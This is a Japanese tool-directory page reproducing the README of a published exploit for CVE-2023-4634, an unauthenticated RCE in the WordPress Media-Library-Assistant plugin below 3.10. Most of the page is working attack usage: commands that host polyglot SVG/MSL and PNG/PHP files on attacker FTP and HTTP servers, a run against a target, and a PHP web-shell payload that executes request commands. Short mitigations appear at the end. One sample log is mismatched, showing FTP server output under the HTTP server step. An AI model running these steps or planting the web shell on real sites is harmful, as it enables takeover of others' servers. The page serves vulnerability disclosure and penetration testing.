Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-4634 — CVE-2023-4634 | Kitploit
ツール/GitHubGitHub/patrowl/cve-2023-4634
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubpatrowl/cve-2023-4634

CVE-2023-4634

CVE-2023-4634

リポジトリを見る
4795ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-4634

WordPressプラグインMedia-Library Plugin < 3.10 のRCEエクスプロイト (CVE-2023-4634)

Info

Patrowlは、Media-Librairy-Assistant WordPressプラグインのバージョン3.10未満において、認証を必要としないRCE脆弱性を発見しました。 このエクスプロイトは簡単ではなく、以下に説明する少しの設定が必要です。

エクスプロイトの発見と悪用の詳細はブログでご覧いただけます: https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/

エクスプロイトの前提条件

  • WordPressがインストールされていること（全バージョンで動作します）
  • Media-Library-Assistant バージョン3.10未満 (https://fr.wordpress.org/plugins/media-library-assistant/)
  • サーバーにImagickライブラリがインストールされていること
  • デフォルトのImagick設定
  • 外部ネットワーク接続が可能であること

検出

脆弱性の検出は、リモートFTPサーバーへの基本的なDNSチェックを使用して実行できます。nucleiテンプレートはCVE-2023-4634.yamlにあります。

root@kitploit:~
nuclei -u http://x.x.x.x -t ./CVE-2023-4634.yaml

完全なエクスプロイトとRCEは、CVE-2023-4634.pyスクリプトを使用して実行できます。

注: スクリプトを使用してLFIなどのより単純なエクスプロイトをトリガーすることもできます。特定のSVGを作成し、FTPでホストするだけで、ブログの推奨事項に従ってください。

使用方法

必要要件のインストール:

root@kitploit:~
python3 -m pip install -r requirements.txt

その後

root@kitploit:~
python3 CVE-CVE-2023-4634.py -h

次のように表示されます:

root@kitploit:~
usage: CVE-2023-4634 Exploit [-h] [--target [TARGET]] [--remoteftp [REMOTEFTP]] [--remotehttp [REMOTEHTTP]] [--svg_polyglot_name [SVG_POLYGLOT_NAME]] [--svg_exploiter_names [SVG_EXPLOITER_NAMES]] [--png_polyglot_name [PNG_POLYGLOT_NAME]] [--concurrency [CONCURRENCY]] [--generatesvg | --no-generatesvg] [--webserverpath WEBSERVERPATH]
                             [--exploitname EXPLOITNAME] [--generatepng | --no-generatepng] [--payload PAYLOAD]

Exploit CVE-2023-4634 on Media-Library-Assistant version < 3.10

options:
  -h, --help            show this help message and exit
  --target [TARGET]     URL of the Target, ex http://victimwordpress.org
  --remoteftp [REMOTEFTP]
                        URL of the remote FTP use to store SVGs files, ex ftp://X.X.X.X:PORT
  --remotehttp [REMOTEHTTP]
                        URL of the remote HTTP use to store the final Polyglot PNG/PHP file, ex http://X.X.X.X:PORT
  --svg_polyglot_name [SVG_POLYGLOT_NAME]
                        Name of the external polyglot SVG/MSL file used (for generation or final usage), example : poly.svg
  --svg_exploiter_names [SVG_EXPLOITER_NAMES]
                        Name of the external VID bruteforcers file use, the FUZZ part will be replaced by the first letter bruteforced (for generation or final usage), ex: exploiter_FUZZ.svg
  --png_polyglot_name [PNG_POLYGLOT_NAME]
                        Name of the external PNG/PHP to use (for generation or final usage), ex: exploiter_FUZZ.svg
  --concurrency [CONCURRENCY]
                        Number of concurrent long SVG conversion requests to make ( default 100 )
  --generatesvg, --no-generatesvg
                        Generate both polyglot SVG/MSL file and VID bruteforcer within the remote_ftp directory
  --webserverpath WEBSERVERPATH
                        Path of the webserver on the victim server (could be found with the LFI and wp-config file) example: /var/www/html
  --exploitname EXPLOITNAME
                        Dropped exploit name example: pwned.php
  --generatepng, --no-generatepng
                        Generate polyglot PNG/PHP file, integrate php file with -payload option in exploit-png folder
  --payload PAYLOAD     PHP Payload to integrate in the PNG file ex: <?php phpinfo(); ?>

動作させるには、リモートホストで以下の設定が必要です:

    1. ポリグロットSVG/MSLとSVG/VIDエクスプロイターをホストするFTPサーバー
    1. ポリグロットPNG/MSLをホストするHTTPサーバー

エクスプロイト前の準備

FTPサーバーの準備

Pythonを使用して簡単なFTPサーバーを実行できます:

root@kitploit:~
python3 -m pyftpdlib -p 2122
[I 2023-08-31 12:24:17] concurrency model: async
[I 2023-08-31 12:24:17] masquerade (NAT) address: None
[I 2023-08-31 12:24:17] passive ports: None
[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<

設定が完了したら、FTPサーバーにSVG/MSLポリグロットファイルとすべてのSVGエクスプロイターを追加する必要があります。これらはスクリプトを使用して簡単に生成できます:

root@kitploit:~
python3 CVE-2023-4634.py --generatesvg --svg_polyglot_name poly.svg --svg_exploiter_names exploiter_FUZZ.svg  --remotehttp http://192.168.1.164:8081 --png_polyglot_name virus.png  --webserverpath /var/www/html --exploitname pwned.php

これにより、remote_ftpフォルダに以下が生成されます:

  • poly.svg: ルーティング不能なアドレスを持つポリグロットSVG/MSL。ターゲットによる生成に時間がかかり、remotettpからのpng_polyglot_nameを宛先パス（webserverpath+exploitname）に保存するMSLを含みます。
  • exploiter_FUZZ命名規則を使用した64個のSVG/VIDエクスプロイターすべて。FUZZはブルートフォースされた文字に置き換えられます。

スクリプトはまた、末尾に[0]を付けたsvgファイルもコピーすることに注意してください（poly.svgおよびpoly.svg[0]）。 両方のファイルがエクスプロイトの動作に必要です。

生成されたすべてのファイル（通常版と[0]版）をFTPサーバーのFTPルートディレクトリに配置してください。 以下のようになります:

root@kitploit:~
ls remote_ftp/
exploiter_-.svg    exploiter_3.svg    exploiter_7.svg    exploiter_B.svg    exploiter_F.svg    exploiter_J.svg    exploiter_N.svg    exploiter_R.svg    exploiter_V.svg    exploiter_Z.svg
exploiter_-.svg[0] exploiter_3.svg[0] exploiter_7.svg[0] exploiter_B.svg[0] exploiter_F.svg[0] exploiter_J.svg[0] exploiter_N.svg[0] exploiter_R.svg[0] exploiter_V.svg[0] exploiter_Z.svg[0]
exploiter_0.svg    exploiter_4.svg    exploiter_8.svg    exploiter_C.svg    exploiter_G.svg    exploiter_K.svg    exploiter_O.svg    exploiter_S.svg    exploiter_W.svg    exploiter__.svg
exploiter_0.svg[0] exploiter_4.svg[0] exploiter_8.svg[0] exploiter_C.svg[0] exploiter_G.svg[0] exploiter_K.svg[0] exploiter_O.svg[0] exploiter_S.svg[0] exploiter_W.svg[0] exploiter__.svg[0]
exploiter_1.svg    exploiter_5.svg    exploiter_9.svg    exploiter_D.svg    exploiter_H.svg    exploiter_L.svg    exploiter_P.svg    exploiter_T.svg    exploiter_X.svg    poly.svg
exploiter_1.svg[0] exploiter_5.svg[0] exploiter_9.svg[0] exploiter_D.svg[0] exploiter_H.svg[0] exploiter_L.svg[0] exploiter_P.svg[0] exploiter_T.svg[0] exploiter_X.svg[0] poly.svg[0]
exploiter_2.svg    exploiter_6.svg    exploiter_A.svg    exploiter_E.svg    exploiter_I.svg    exploiter_M.svg    exploiter_Q.svg    exploiter_U.svg    exploiter_Y.svg
exploiter_2.svg[0] exploiter_6.svg[0] exploiter_A.svg[0] exploiter_E.svg[0] exploiter_I.svg[0] exploiter_M.svg[0] exploiter_Q.svg[0] exploiter_U.svg[0] exploiter_Y.svg[0]

HTTPサーバーの準備

Pythonを使用して簡単なHTTPサーバーを実行できます:

root@kitploit:~
python3 -m http.server -p 8081
[I 2023-08-31 12:24:17] concurrency model: async
[I 2023-08-31 12:24:17] masquerade (NAT) address: None
[I 2023-08-31 12:24:17] passive ports: None
[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<

ポリグロットPNG/PHPファイルを追加するだけです。スクリプトを使用してファイルを生成し、希望のペイロードを含めることもできます:

root@kitploit:~
python3 CVE-2023-4634.py --generatepng --payload "<?php if(isset(\$_REQUEST['cmd'])){ echo \"<pre>\"; \$cmd = (\$_REQUEST['cmd']); system(\$cmd); echo \"</pre>\"; die; }?>" --png_polyglot_name virus.png

エクスプロイト

リモートFTPサーバーとHTTPサーバーの両方が準備できたら、脆弱なターゲットに対してエクスプロイトを実行できます（スクリプトはターゲットが脆弱なバージョンのプラグインを使用しているかどうかを確認します）。 例:

root@kitploit:~
python3 CVE-2023-4634.py --target http://127.0.0.1 --remoteftp ftp://192.168.1.164:2122 --remotehttp http://192.168.1.164:8081 --svg_polyglot_name poly.svg --svg_exploiter_names exploiter_FUZZ.svg --png_polyglot_name virus.png  --exploitname pwned.php

すべてが正常に動作すれば、exploitnameがwebserverpath内に配置されているはずです（エクスプロイトの設定に依存します）。 楽しんでください！

ビデオクリップ

ビデオクリップを作成しました。

https://github.com/Patrowl/CVE-2023-4634/assets/15944951/6f9d356f-f0ec-48df-9037-5f8a4b64e44f

緩和策

  • プラグインの最新バージョンにアップグレードしてください (https://fr.wordpress.org/plugins/media-library-assistant/)
  • 危険なファイルの変換を無効にしてImagickのセキュリティポリシーを強化します（例：MSL, MSVG, MVG, PS, PDF, RSVG, SVG, XPS, VID）。 以下を追加することで実現できます
root@kitploit:~
  <policy domain="coder" rights="none" pattern="SVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="MSVG" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="VID" />

を

root@kitploit:~
/etc/ImageMagick-X/policy.xml
ツールをダウンロード